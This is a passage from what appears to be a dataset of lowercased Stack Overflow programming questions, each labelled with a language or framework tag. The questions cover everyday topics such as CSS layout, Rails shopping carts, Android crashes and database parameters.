text inside a div should always be aligned to middle  i ve tried something  but vertical align doesn t work.    html:   <pre><code>&lt;div class= browsebuildsarea-pro &gt;     &lt;img class= champion  src= http://wiki.guildwars.com/images/d/d3/60px-ranger-tango-icon-200.png &gt;     &lt;div class= build-poster &gt;         &lt;span class= middle-text &gt;             aaaaaaaaaaaa&lt;br&gt;             bbbbbbbbbbbb&lt;br&gt;             ccccccccccccc&lt;br&gt;             dddddddddddd&lt;br&gt;         &lt;/span&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   css:   <pre><code>div.browsebuildsarea-pro {     float: left;     position: relative;     width: 790px;     height: 90px;     background-image:url( http://revistaverzus.com/online/background.jpg );     background-repeat:no-repeat; } div.browsebuildsarea-pro img.champion {     float: left;     display: block;     height: 72px;     margin-left: 14px;     margin-top: 7px;     border-radius: 9px;     -moz-border-radius: 9px;     -khtml-border-radius: 9px;     -webkit-border-radius: 9px; } div.browsebuildsarea-pro div.build-poster {     display: block;     position: relative;     margin-left: 150px;     margin-top: 10px; } span.middle-text {     vertical-align: middle; } </code></pre>   <a href= http://jsfiddle.net/scwfs/1/  rel= nofollow >http://jsfiddle.net/scwfs/1/</a>    how can i make the text align middle regardless of the length of the content,css
downsides to merging dlls and exe into single exe file  i am developing a .net application which uses a few projects that i ve pieced together from other internal projects.  i was thinking about merging the .exe and the dlls into a single executable file with a tool called <a href= http://research.microsoft.com/~mbarnett/ilmerge.aspx  rel= nofollow noreferrer >ilmerge</a>.    i may be sending the executable outside the company  so merging everything into a single file would be easier to pass out.  but  i was wondering if there are any downsides to merging dlls with the executable,.net
rails shopping cart not adding and/or showing the right products  i m building a very basic shopping cart through a youtube tutorial.  the problem i m having is that  although the link to add the product exists and redirects to the cart without raising an exception  it always adds and shows the first product in the list (and if i destroy that first product  then the next one shows up).    i know the problem lies in the add method  which does not store multiple product ids as it should.    cart_controller.rb   <pre><code>class cartcontroller &lt; applicationcontroller  def add id = params[:id] if session[:cart] then   cart = session[:cart] else   session[:cart] = {}   cart = session[:cart] end  if  cart[:id] then     cart[:id] = cart[:id] + 1 else     cart[:id] = 1 end redirect_to cart_url  end  def clearcart session[:cart] = nil redirect_to cart_url end   def index   if session[:cart] then     @cart = session[:cart]   else     @cart = {}   end end  end </code></pre>   cart index.html   <pre><code>&lt;%= link_to  empty your cart   cart_clear_path %&gt;    &lt;% @cart.each do | id  quantity| %&gt;   &lt;% product = product.find_by(id) %&gt;   &lt;ul&gt;     &lt;li&gt;&lt;%= link_to product.title  product %&gt;&lt;/li&gt;    &lt;/ul&gt;  &lt;% end %&gt; </code></pre>   products index.html   <pre><code>`&lt;% @products.each do |product| %&gt;`     &lt;tr&gt;       &lt;td&gt;&lt;%= product.title %&gt;&lt;/td&gt;     &lt;td&gt;&lt;%= product.description %&gt;&lt;/td&gt;     &lt;td&gt;&lt;%= product.image_url %&gt;&lt;/td&gt;     &lt;td&gt;&lt;%= product.price %&gt;&lt;/td&gt;             &lt;td&gt;&lt;%= product.category %&gt;&lt;/td&gt;                     &lt;td&gt;&lt;%= product.subcategory %&gt;&lt;/td&gt;     &lt;td&gt;&lt;%= link_to  show   product %&gt;&lt;/td&gt;     &lt;td&gt;&lt;%= link_to  edit   edit_product_path(product) %&gt;&lt;/td&gt;     &lt;td&gt;&lt;%= link_to  destroy   product  method: :delete  data: { confirm:       are you sure   } %&gt;&lt;/td&gt;     &lt;td&gt;&lt;a href= /cart/&lt;%= product.id %&gt; &gt;add to cart&lt;/a&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;% end %&gt; </code></pre>,ruby-on-rails
how to find all possible path in the aon diagram   i have to found out all the possible path in the aon diagram but the problem is i can t link up the project activity according to the diagram.can anyone help me to figure it out  thanks in advance.,c#
how to adjust the width of html dropdownlist and html editorfor   i want to align the # s 5 and 7 specified in the picture. and for the others the # 4 i want to align it in # 3. and if possible the <code>2.1(first textbox)</code> will also align in #3 .    here is the link<a href= https://i.stack.imgur.com/6b1sm.jpg  rel= nofollow noreferrer >picture</a>.    here is the code how i make the date     <code>@html.editorfor(model =&gt; model.fadateto) @html.validationmessagefor(model =&gt; model.fadateto)</code>    for the #1 and #7 text box  <code>@html.dropdownlist( id )</code>    for the #3    <code>@html.dropdownlist( shiftid )</code>    how to adjust there width .    <strong>update</strong>    i try this <a href= https://stackoverflow.com/questions/1411484/how-do-i-adjust-the-width-of-a-dropdown-select-box >link</a> and it work but all of my dropdown has been adjust to the set width. i want to adjust a specific dropdown only.,html
angular  problems with ngroute code sequence  i am using ngroute for reading the url parameters. the problem i have is that i can t get the id while the code is running. however if try to call it as function i get values from url.   <pre><code>.controller( pagectrl   function ($scope  $routeparams  survey) {     $scope.survey = survey.get({surveyid: $routeparams.id}); //doesn t work      this.add = function (pageid  pageindex) {         console.log($routeparams.id); //works     };      $scope.page = this; } </code></pre>   do you think there is the way of getting the url parameter while i am making the survey.get() request,angularjs
iphone - which will produce the most efficient/smaller code   which one of these will produce the most efficient/smaller binary code     <strong>this</strong>   <pre><code>int sum = 0; for (nsnumber * oneobj in objarray) {     if ([oneobj intvalue] &gt; 10)         sum += [oneobj intvalue];     else         sum -= [oneobj intvalue]; } </code></pre>   <strong>or this </strong>   <pre><code>int sum = 0; for (nsnumber * oneobj in objarray) {     sum += ([oneobj intvalue] &gt; 10)   oneobj : -oneobj; } </code></pre>   does it make any difference writing the if in this condensed form,objective-c
how to support different ios versions   i just uploaded a beta of my app to <a href= http://testflightapp.com  rel= nofollow >http://testflightapp.com</a>. i noticed that it is only for <strong>ios 4.3</strong>.     how can i support devices from ios 4.0  do i have to make the ipa for each framework version     any suggestions,iphone
mysql replication affected with waiting for the slave sql thread to free enough relay log space   i want to know if replication from master to slave is affected/stopped when the slave status shows-waiting for the slave sql thread to free enough relay log space.    thanks in advance..!,mysql
how do i expand a new line for textarea when i press enter   suppose i have a textarea with the size of a normal textbox  how do i make it stretchable when i press enter or crtl+enter to make a new line for user to type.    for example  i type something in textarea in the first line  then i press enter and the textarea will expand a new line for me to enter data.   <pre><code>&lt;td&gt;     &lt;textarea rows= 5  cols= 50  name= description[] &gt;         &lt; php echo $row[  description ];  &gt;     &lt;/textarea&gt; &lt;/td&gt; </code></pre>   above is the textarea that i mentioned.,html
link error with a defined destructor  i ve searched through the many <em>unresolved external symbol</em> (lnk2019) problems on the so and most of them were problems where someone forgot to put a constructor definition in a .cpp file or some .cpp file was not included in the building problem.     the linker gives me some errors saying i have an unresolved external:   <pre><code>//error was on notationinstrument.obj inotationinstrument&lt;class notation::notationtrack&gt;::~inotationinstrument&lt;class notation::notationtrack&gt; </code></pre>   <em>(i also got some lnk2001 erros as well. it is another  unresolved external symbol  error)</em>    yet this destructor is defined. since it s the destructor of an interface  the derived class (notationinstrument) have a destructor that overrides the base s destructor. and notationinstrument destructor is defined.    <strong>notationinstrument.h</strong>   <pre><code>#include  inotationinstrument.h  #include  notationtrack.h  #include &lt;vector&gt;  namespace notation {      class notationinstrument : public inotationinstrument&lt;notationtrack&gt;     {     public:         notationinstrument();         ~notationinstrument();          std::vector&lt;notationtrack&gt; gettracks() override ;     private:         std::vector&lt;notationtrack&gt; tracks;      }; // end of class  notationinstrument   }; </code></pre>   <strong>notationinstrument.cpp</strong>   <pre><code>#include  notationinstrument.h  //i ve included the following just to be sure (for now  while debuggin) #include  inotationinstrument.h  #include  inotationtrack.h  #include  notationtrack.h   namespace notation {      notationinstrument::notationinstrument(){}     notationinstrument::~notationinstrument(){}; //here is the destructor           std::vector&lt;notationtrack&gt; notationinstrument::gettracks()     {         return tracks;     };    }; </code></pre>   <strong>inotationinstrument.cpp</strong>   <pre><code>#include &lt;vector&gt;  template &lt;class notationtracktemplate&gt; class inotationinstrument { public:     //inotationinstrument();     virtual ~inotationinstrument() =0 ; private:     virtual std::vector&lt;notationtracktemplate&gt; gettracks() =0 ;  }; </code></pre>   following other so questions about linker erros  i ve checked to make sure all the related files are included in the build.    (i didn t posted notationtrack.h/.cpp and inotationtrack.h to keep the question to a minimum. but i can post them if you want.)    <strong>question: if ~notationinstrument() overrides ~inotationinstrument() and it s declared and defined  why i m getting this linker error </strong>    <strong>edit about this beeing a duplicate:</strong> i ve already read more than 20 posts about this <em>unresolved external</em> error on so. but still i can t understand why i m getting an unresolved external for something that i think is defined. i know i m wrong because i m getting this erros. i just can t find why. i tried <em>matthew james briggs s</em> answer  but i get the same errors.,c++
what is the purpose of returning data in a angular js service  i m getting started with angular js and there is something i don t really understand in a service i use :   <pre><code>(function () {    angular     .module( meanapp ) // service qui dépend de ce module       .factory( authentication   authentication);    // $inject : to allow the minifiers to rename the function parameters and still be able to inject the right services  the function needs to be annotated with the $inject property. the $inject property is an array of service names to inject.   // https://docs.angularjs.org/guide/di    authentication.$inject = [ $http    $window ];    function authentication ($http  $window) {      console.log( enters authentication service );     var savetoken = function (token) {       $window.localstorage[ mean-token ] = token;     };      var gettoken = function () {       return $window.localstorage[ mean-token ];     };      var isloggedin = function() {       var token = gettoken();       var payload;        if(token){         payload = token.split( . )[1];         payload = $window.atob(payload); //will decode a base64 string         payload = json.parse(payload);          return payload.exp &gt; date.now() / 1000;       } else {         return false;       }     };      var currentuser = function() {       if(isloggedin()){         var token = gettoken();         var payload = token.split( . )[1];         payload = $window.atob(payload);         payload = json.parse(payload);         return {           email : payload.email            name : payload.name         };       }     };      //an interface between the angular app and the api  to call the login and register end-points and save the returned token. this will use the angular $http service       var register = function(user) {       console.log( arnaud: arriving in register promise );       return $http.post( /api/register   user).success(function(data){         savetoken(data.token);       });     };      var login = function(user) {       return $http.post( /api/login   user).success(function(data) {         savetoken(data.token);       });     };      var logout = function() {       $window.localstorage.removeitem( mean-token );     };      // must return an object or function or at least a value from the factory     return {       currentuser : currentuser        savetoken : savetoken        gettoken : gettoken        isloggedin : isloggedin        register : register        login : login        logout : logout     };    }   })(); </code></pre>   the functions declared above already return what i need and i just need to call them in my controller :    <pre><code>authentication.register(vm.credentials) </code></pre>   what is the exact purpose of    <pre><code>return {   currentuser : currentuser    savetoken : savetoken    gettoken : gettoken    isloggedin : isloggedin    register : register    login : login    logout : logout }; </code></pre>   maybe that s a stupid question to angular js senior developers but that s not clear for me    thanks for helping me to put some light on that,angularjs
how do you stop the iphone from automatically compressing images   my designer friend is convinced that the iphone is compressing his wallpaper images. i googled it  and no luck. is this a thing,iphone
looking for nice ror way to correctly validate a state of a record  i have a model and a column of this model represents a state . it s numeric value and it could be 1 2 3.    i have two concerns:    a) based on the business logic  the state can only go from 1 to 2 and from 2 to 3. it can t go back from higher numbers to lower number and it can t just from 1 to 3 in one step.    b) i don t want to expose these numbers to controllers (don t like magical numbers flying around).    i did following   <ul> <li> i created methods like statex   statey   statez  to allow controllers check current state. this helps me with concern b). </li> <li> i created methods setstatex  setstatey  statez and raise in them  if a controller does unacceptable switch of state. this helps me with concern a) and b). </li> </ul>   however  i feel that s more java/c++ way (which is my background) - 6 methods to do one thing.    is there any better way to accomplish this in ror,ruby-on-rails
alternative for pdf viewer in asp.net website  i have several result grids in my asp.net website. i want to view/print them in separate pages  on click of a button. currently i am converting them to pdf  is there any other way to view/print them because  for pdf we need pdf viewer tool to be installed.,asp.net
how to implement didselectrowatindexpath in table view in xcode 4.2  <pre><code>sliderdemocontroller *sliderdemocontroller=[[sliderdemocontroller alloc] initwithnibname:@   bundle:nil]; [self.navigationcontroller pushviewcontroller:sliderdemocontroller animated:yes]; </code></pre>   i implemented this method using storyboard. but this method is not working. i want to open new controller in table view cell.,objective-c
"how to fill the remaining space  i have a horizontal list with 4 items. the first item will be always <code>52px</code> wide. i want the remaining three items to be equal in width and fill up the remaining space.    how can i do this     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.wa_talents .unlocks {
   width: 50px !important;
   background: black;
   font: normal 20px/52px palatino linotype    georgia    times   serif;
   text-align: center;
 }
 .wa_talents .tier {
   list-style-type: none;
   border: 1px solid #221d19;
   box-shadow: 0 0 4px #000;
   height: 52px;
   margin: 5px;
   clear: left;
 }
 .wa_talents .tier li {
   float: left;
   margin-left: 5px;
   width: 30%;
   /* this fails hard*/
   height: 52px;
 }
 .talent {
   background: #000;
 }
 .talent .cell {
   padding: 4px;
   margin-top: 2px;
   opacity: 0.25;
 }
 .talent .name {
   width: 125px;
   text-overflow: ellipsis;
   overflow: hidden;
   vertical-align: middle;
   line-height: 150%;
   color: #ffb100;
 }
 .talent.active .name {
   color: #fff;
 }
 .frame-36 {
   height: 36px;
   width: 36px;
 }
 .talent .icon-frame {
   display: inline-block;
   padding: 1px;
   background: #000 no-repeat 1px 1px;
   border-radius: 3px;
   border: 1px solid #434445;
   border-bottom-color: #2f3032;
   border-top-color: #b1b2b4;
   vertical-align: middle;
   margin-right: 5px;
 }
 .talent.active .cell {
   opacity: 1;
 }
 .talent.active {
   background: #5b2200;
   border-color: #ce5209;
   box-shadow: 0 0 8px #ce5209 inset;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= wa_talents &gt;
   &lt;div class= tiers &gt;
     &lt;ul class= tier &gt;
       &lt;li class= unlocks &gt;15&lt;/li&gt;
       &lt;li class= talent active &gt;
         &lt;a href= http://www.google.com  target= _blank &gt;
           &lt;div class= cell &gt;
             &lt;span class= icon-frame frame-36 &gt;&lt;/span&gt;
             &lt;span class= name &gt;foo&lt;/span&gt;
           &lt;/div&gt;
         &lt;/a&gt;
       &lt;/li&gt;
       &lt;li class= talent &gt;
         &lt;a href= http://www.google.com  target= _blank &gt;
           &lt;div class= cell &gt;
             &lt;span class= icon-frame frame-36 &gt;&lt;/span&gt;
             &lt;span class= name &gt;bar&lt;/span&gt;
           &lt;/div&gt;
         &lt;/a&gt;
       &lt;/li&gt;
       &lt;li class= talent &gt;
         &lt;a href= http://www.google.com  target= _blank &gt;
           &lt;div class= cell &gt;
             &lt;span class= icon-frame frame-36 &gt;&lt;/span&gt;
             &lt;span class= name &gt;baz&lt;/span&gt;
           &lt;/div&gt;
         &lt;/a&gt;
       &lt;/li&gt;
     &lt;/ul&gt;
 
     &lt;!-- here will be some more ul#tier lists --&gt;
   &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     <a href= http://codepen.io/anon/pen/xbvyjw  rel= nofollow >view on codepen</a>",css
jquery removeclass not working with .closest method  i m trying to remove parent class  row  on the page containing id  portfolio-page .   <pre><code>&lt;div class= row &gt;     &lt;div id= portfolio-page &gt;     &lt;img src= sample.jpg &gt;    &lt;/div&gt; &lt;/div&gt;   $( #portfolio-page ).closest( .row   function(){    $(this).removeclass( .row ); }); </code></pre>,jquery
how to bold csv data in excel   i work on a python(django) project. i write csv code as follows    <pre><code>response = httpresponse(mimetype= text/csv )     response[ content-disposition ] =  attachment; filename=duedatewisesearch.csv      writer =  csv.writer(response)     writer.writerow([ infant name   mother name   mother address         next vaccine dose   due date   coments ]) </code></pre>   this row is the header and i need to bold all header text. i download csv as ms  excel  file.    how can i do it  please help!,python
wrong number of arguments 1 for 0 in sent folder  for my custom inbox messaging system i am setting up the sent messages folder. i get a <code>wrong number of arguments (1 for 0)</code>. the title of the page is argumenterror in messagescontroller#index. i can t seem to properly define the methods. any help would be greatly appreciated as i have tried a few things but can t seem to get it to work. i am sure it is a small fix as normal  but i m new to rails so i don t know all the methods yet.    user.rb:   <pre><code>  def received_messages       message.received_by(self)     end   def unread_messages     unread_message_count &gt; 0   true : false  end   def sent_messages    message.sent_by(self)  end </code></pre>   message.rb:   <pre><code>     class message &lt; activerecord::base attr_accessible :subject  :body  :sender_id  :recipient_id  :read_at :sender_deleted :recipient_deleted validates_presence_of :subject  :message =&gt;  please enter message title   belongs_to :sender  :class_name =&gt;  user   :foreign_key =&gt;  sender_id  belongs_to :recipient  :class_name =&gt;  user   :foreign_key =&gt;  recipient_id   # marks a message as deleted by either the sender or the recipient  which ever the user that was passed is. # when both sender and recipient marks it deleted  it is destroyed. def mark_message_deleted(id user_id)      self.sender_deleted = true if self.sender_id == user_id      self.recipient_deleted = true if self.recipient_id == user_id      (self.sender_deleted &amp;&amp; self.recipient_deleted)   self.destroy : self.save!  end # read message and if it is read by recipient then mark it is read def readingmessage   self.read_at ||= time.now   save end  # based on if a message has been read by it s recipient returns true or false. def read      self.read_at.nil    false : true end  def self.received_by(user)    where(:recipient_id =&gt; user.id)  end   def self.not_recipient_deleted    where( recipient_deleted =     false)  end   def self.sent_by(user)    user.messages.sent  end </code></pre>   end    messages_controller:   <pre><code> def index     if params[:mailbox] ==  sent        @messages = @user.sent_messages     elsif params[:mailbox] ==  inbox        @messages = @user.received_messages     #elsif params[:mailbox] ==  archieved       # @messages = @user.archived_messages     end   end </code></pre>   inbox.html.erb:   <pre><code>&lt;%= link_to  view sent messages   user_messages_path(current_user  :mailbox =&gt; :sent)%&gt; </code></pre>,ruby-on-rails
modbus tcp/ip simulator jamod reconnect issue  simple scenario  i start server i connect modbus tcp/ip simulator &amp; getting data/values in client  when i close the modbus simulator (while server is running)and start modbus simulator again it is reconnecting but simulator status is incrementing n time [.setreconnecting(true);]it may 10 or 1000 for modbus driver code written in java using jamod. how to do this reconnection without increasing connection status.,java
"how to add in-line elements so they fill available horizontal space   my goal is to have items fill the whole width of the parent. if this is static  i could use <code>width:%</code> like <code>width:33%</code> for 3 items. the problem is that number of items will change    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>#container {
   background-color:red;
 }
 .item {
   background-color:yellow;
   display:inline-block;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div id= container &gt;
   &lt;div class= item &gt;1&lt;/div&gt;
   &lt;div class= item &gt;2&lt;/div&gt;
   &lt;div class= item &gt;3&lt;/div&gt;
   &lt;!-- here new items will be added --&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",css
getting the first and last index values of highlighted text in a jtextarea  i am writing a text editor(in java) where i am using a jtextarea for the main text editing and i am putting the text into a stringbuilder.     when i highlight the text and do something like delete that block of text  i want it to update in the stringbuilder.    so my question is  is there a way to get the first and last index of the highlighted text in the stringbuilder     thanks.,java
displaying alt + number codes on html  i would like to write the character  ▼  (alt + 31) on html but it always shows me question mark.    what do i need to do in order to make my browser display it correctly      thanks!,html
after removal of a overlay view which method get called  i have a small doubt that how to call a method form one class to other class  and this method is define in called class .    i wants to use the protocol class but i don t know how to use this .  so can any one can help me to use the protocol class with a example,iphone
view controller specifc routes on rails  how can i view controller specific routes in rails.i ve large number of controller in my project. so i want to view routes for specific controller.,ruby-on-rails
unfortunately  [appname] has stopped error  i am a newbie in developing an android application. i ve been reading feeds from here and other sites to learn. when i click a button named social  i am getting the unfortunately [appname] has stopped. i am building an application and this is what i have:    mainactivity.java   <pre><code>button btnout = (button)findviewbyid(r.id.btnout); btnout.setonclicklistener(new view.onclicklistener() { @override public void onclick(view v) {           final dialog alertbox = new dialog(mainactivity.this);         alertbox.setcontentview(r.layout.button);     alertbox.settitle( news - choose one: );                 button world = (button) alertbox.findviewbyid(r.id.world);                 world.setonclicklistener(new view.onclicklistener() {                 @override                     public void onclick(view v) {                         webview mywebview = (webview) findviewbyid(r.id.webview2);                         mywebview.setwebviewclient(new webviewclient());                         setcontentview(mywebview);                         mywebview.loadurl( http://news.yahoo.com/world );                     }                 });                   button tech = (button) alertbox.findviewbyid(r.id.tech);                 tech.setonclicklistener(new view.onclicklistener() {                 @override                     public void onclick(view v) {                         webview mywebview = (webview) findviewbyid(r.id.webview2);                         mywebview.setwebviewclient(new webviewclient());                         setcontentview(mywebview);                         mywebview.loadurl( http://news.yahoo.com/tech );                     }                 });                   button sport = (button) alertbox.findviewbyid(r.id.sport);                 sport.setonclicklistener(new view.onclicklistener() {                 @override                     public void onclick(view v) {                         webview mywebview = (webview) findviewbyid(r.id.webview2);                         mywebview.setwebviewclient(new webviewclient());                         setcontentview(mywebview);                         mywebview.loadurl( http://sports.yahoo.com );                     }                 });                 alertbox.show();             }         });  </code></pre>   webactivity2.java   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt;  &lt;webview xmlns:android= http://schemas.android.com/apk/res/android      android:layout_width= match_parent      android:layout_height= match_parent       android:id= @+id/webview2  &gt;  &lt;/webview&gt; </code></pre>   manifest:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;manifest xmlns:android= http://schemas.android.com/apk/res/android      package= com.nicx.amazing      android:versioncode= 1      android:versionname= 1.0  &gt;      &lt;uses-sdk         android:minsdkversion= 14          android:targetsdkversion= 17  /&gt;     &lt;uses-permission          android:name= android.permission.internet  /&gt;      &lt;application         android:allowbackup= true          android:icon= @drawable/ic_launcher          android:label= @string/app_name          android:theme= @style/apptheme  &gt;         &lt;activity             android:name= .splashactivity              android:label= @string/app_name  &gt;             &lt;intent-filter&gt;                 &lt;action android:name= android.intent.action.main  /&gt;                 &lt;category android:name= android.intent.category.launcher  /&gt;             &lt;/intent-filter&gt;         &lt;/activity&gt;         &lt;activity             android:name= .mainactivity              android:label= @string/app_name  &gt;             &lt;intent-filter&gt;                 &lt;action android:name= android.intent.action.main  /&gt;             &lt;/intent-filter&gt;         &lt;/activity&gt;  &lt;/manifest&gt; </code></pre>   edit # 2 (sorry i placed the wrong logcat before): logcat <code>   <pre><code>04-09 20:04:40.348: w/dalvikvm(26501): threadid=1: thread exiting with uncaught exception (group=0x40abc210) 04-09 20:04:40.378: e/androidruntime(26501): fatal exception: main 04-09 20:04:40.378: e/androidruntime(26501): java.lang.nullpointerexception 04-09 20:04:40.378: e/androidruntime(26501):    at com.nicx.amazing.mainactivity$3$1.onclick(mainactivity.java:127) 04-09 20:04:40.378: e/androidruntime(26501):    at android.view.view.performclick(view.java:3574) 04-09 20:04:40.378: e/androidruntime(26501):    at android.view.view$performclick.run(view.java:14293) 04-09 20:04:40.378: e/androidruntime(26501):    at android.os.handler.handlecallback(handler.java:605) 04-09 20:04:40.378: e/androidruntime(26501):    at android.os.handler.dispatchmessage(handler.java:92) 04-09 20:04:40.378: e/androidruntime(26501):    at android.os.looper.loop(looper.java:137) 04-09 20:04:40.378: e/androidruntime(26501):    at android.app.activitythread.main(activitythread.java:4448) 04-09 20:04:40.378: e/androidruntime(26501):    at java.lang.reflect.method.invokenative(native method) 04-09 20:04:40.378: e/androidruntime(26501):    at java.lang.reflect.method.invoke(method.java:511) 04-09 20:04:40.378: e/androidruntime(26501):    at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:823) 04-09 20:04:40.378: e/androidruntime(26501):    at com.android.internal.os.zygoteinit.main(zygoteinit.java:590) 04-09 20:04:40.378: e/androidruntime(26501):    at dalvik.system.nativestart.main(native method) </code></pre>   </code>    any help will be greatly appreciated. thanks!,android
why is f(double x) a better match than f(double... x)   today i was studying for an incoming java exam and i ran into this question:   <blockquote>    let <code>a</code> be a class defined as follows:   <pre><code>class a {     public void f(double x) { system.out.println( a.f(double) ); }     public void f(double... x) { system.out.println( a.f(double...) ); } } </code></pre>       what is the output produced by the instruction <code>a a = new a(); a.f(1.0);</code>   </blockquote>   the answer seems to be <code>a.f(double)</code> but i can t understand why. could someone give me a proper explanation,java
receive email in phone through sms in asp.net  i want the code that when i receive email then its receive me from my cell phone also through sms. is it possible in asp.net,asp.net
how write xml for any website  i am doing objective c programming and i want send and receive requests(login/data fetching) over the client/server. now the problem is should i do it using xml or any other method. also i know nothing how to write xml for any particular website. i am hassling for many days.can anybody help,objective-c
disabling event handler for link inside ul  i have a li element to which i have added a  toggle  event handler   <pre><code>$( #myul li ).toggle {} </code></pre>   inside the li there is an anchor (link) element:   <pre><code>&lt;ul id = myul &gt; &lt;li&gt;click anywhere to initiate toggle handler &lt;a href= / &gt;(except here)&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre>   how can i tell jquery not to initiate the toggle event if the user clicks on the link which is inside the ul  but to do initiate the event if the user clicks anywhere inside the ul beside that link     thank    joel,jquery
lock the date & time settings android  is it possible to lock or set a password for the date and time settings of android device which is running in ics &amp; jelly bean. i ve developed an android application for the company that most of the functions are dependent on date &amp; time of the device since it can work even offline when internet connection is not available on area. the device is provided by the company to the users  so assuming that we have the rights to limit the settings.    i have read one of the android tutorial from android developers guide which is for device administration but it didn t cover what i need for the app.    <a href= http://developer.android.com/guide/topics/admin/device-admin.html >http://developer.android.com/guide/topics/admin/device-admin.html</a>    any idea  available code or tutorial on how to achieve this is highly appreciated. thank you.,android
no value given for one or more required parameters.c# ms access  i have a winform app that stores about 19 textbox data in an access database.. as far as i can tell  i m entering all possible data in them before executing nonquery command...    here is my command text   <pre><code>subcom.commandtext = @ insert into goa_db (srno  branch_code  branch_name  node          region  date_comm  address  mpls  leased_line  ll_ip   router_wan_ip  router_lan_ip          distance_from_rcc  oatm_parent_details  curcuit_id  circuit_type  g703_used  g703_srno         v35_used  v35_srno  bandwidth  router_make_model  router_srno  router_vendor          backup_link  bckup_vendor  bckup_wan_ip ) values (@srno  @branch_code  @branch_name          @node  @region  @date_comm  @address  @mpls  @leased_line  @ll_ip  @router_wan_ip          @router_lan_ip  @distance_from_rcc   @oatm_parent_details  @curcuit_id          @circuit_type   @g703_used  @g703_srno  @v35_used  @v35_srno  @bandwidth          @router_make_model  @router_srno  @router_vendor  @backup_link  @bckup_vendor          @bckup_wan_ip ) ; </code></pre>   here are my parameters.   <pre><code>subcom.parameters.addwithvalue(@ srno   label26.text);         subcom.parameters.addwithvalue(@ branch_code   textbox1.text);         subcom.parameters.addwithvalue(@ branch_name   textbox2.text);         subcom.parameters.addwithvalue(@ node   textbox3.text);         subcom.parameters.addwithvalue(@ region   textbox4.text);         subcom.parameters.addwithvalue(@ date_comm   datetimepicker1.text);         subcom.parameters.addwithvalue(@ address   textbox5.text);           if (radiobutton1.checked)         {             string yes =  yes ;             subcom.parameters.addwithvalue(@ mpls   @yes);             subcom.parameters.addwithvalue(@ leased_line   textbox15.text);             subcom.parameters.addwithvalue(@ ll_ip   textbox15.text);         }          if (radiobutton2.checked)         {             string y =  yes ;             string na1 =  not applicable ;             subcom.parameters.addwithvalue(@ leased_line   @y);             subcom.parameters.addwithvalue(@ mpls   @na1);             subcom.parameters.addwithvalue(@ ll_ip   textbox15.text);         }           subcom.parameters.addwithvalue(@ router_wan_ip   textbox8.text);         subcom.parameters.addwithvalue(@ router_lan_ip   textbox9.text);         subcom.parameters.addwithvalue(@ distance_from_rcc   textbox6.text);         subcom.parameters.addwithvalue(@ oatm_parent_details   textbox7.text);         subcom.parameters.addwithvalue(@ curcuit_id   textbox10.text);          if (radiobutton3.checked)         {              string ml =  mlln ;             string no =  no ;             subcom.parameters.addwithvalue(@ circuit_type   radiobutton3.text);             subcom.parameters.addwithvalue(@ g703_used   no);             subcom.parameters.addwithvalue(@ v35_used   no);             subcom.parameters.addwithvalue(@ v35_used   @no);             subcom.parameters.addwithvalue(@ v35_srno   textbox17.text);         }         //to enter non-mlln details         if (radiobutton4.checked)         {             string yes3 =  yes ;             //string non =  non-mlln ;             subcom.parameters.addwithvalue(@ circuit_type   radiobutton4.text);             subcom.parameters.addwithvalue(@ g703_used   yes3);             subcom.parameters.addwithvalue(@ g703_srno   textbox16.text);             subcom.parameters.addwithvalue(@ v35_used   yes3);             subcom.parameters.addwithvalue(@ v35_srno   textbox17.text);          }          subcom.parameters.addwithvalue(@ bandwidth   combobox1.text);         subcom.parameters.addwithvalue(@ router_make_model   textbox13.text);         subcom.parameters.addwithvalue(@ router_srno   textbox14.text);         subcom.parameters.addwithvalue(@ router_vendor   textbox12.text);          if (radiobutton5.checked)         {              subcom.parameters.addwithvalue(@ backup_link   radiobutton5.text);             subcom.parameters.addwithvalue(@ bckup_vendor   textbox18.text);             subcom.parameters.addwithvalue(@ bck_wan_ip   textbox19.text);          }         if (radiobutton6.checked)         {               subcom.parameters.addwithvalue(@ backup_link   radiobutton6.text);             subcom.parameters.addwithvalue(@ bckup_vendor   textbox18.text);             subcom.parameters.addwithvalue(@ bck_wan_ip   textbox19.text);         }   if (null2(this))           {              // messagebox.show( some empty values are present );               try               {                   int resul = subcom.executenonquery();                   if (resul &gt; 0)                   {                       messagebox.show( entered successfully );                   }               }               catch (exception ex)               {                   messagebox.show(ex.message);               }           } </code></pre>   here the exception thrown is no value given for one or more required parameters... execution stops... any clue,.net
adding linebreak in loop  i use the following code to add smoe fileupload controls on my page. i d like a line break between each one  but am having trouble getting it to work.   <pre><code>for i as integer = 1 to 2         dim fileupload as fileupload = new fileupload         fileupload.id =  fileup  &amp; i         placeupload.controls.add(fileupload)     next </code></pre>   thanks,asp.net
selecting the right object while iterating through multiple instances. - rails  i have seven different <code>assignment</code> objects. i m currently iterating through each instance and then i iterating through the <code>users</code> of each assignment. i m trying to <code>designate</code> the users to the assignment. i have a has_many through table that assigns the user to the assignment. but  my problem right now is that it keeps selecting the first assignment when i m trying to select the fourth assignment. the way i m iterating with the html is wrong but i can t seem to figure out what i m doing  here is my html.   <h2>html:</h2>  <pre><code>&lt;div class= assignments &gt;   &lt;% @assignments.each do |assignment| %&gt;     &lt;ul&gt;       &lt;li&gt;&lt;%= link_to assignment.name  account_assignment_path(assignment) %&gt;&lt;/li&gt;       &lt;%= link_to  designate worker    #designate   class:  button   data: { designate_worker:    } %&gt;       &lt;div id= workers-modal   class= modal--worker hidden &gt;         &lt;% @account.account_workers.each do |worker| %&gt;             &lt;ul&gt;               &lt;li&gt;&lt;%= link_to worker.name  designate_account_assignment_path(assignment  user_id: worker.id) %&gt;&lt;/li&gt;             &lt;/ul&gt;         &lt;% end %&gt;       &lt;/div&gt;     &lt;/ul&gt;   &lt;% end %&gt; 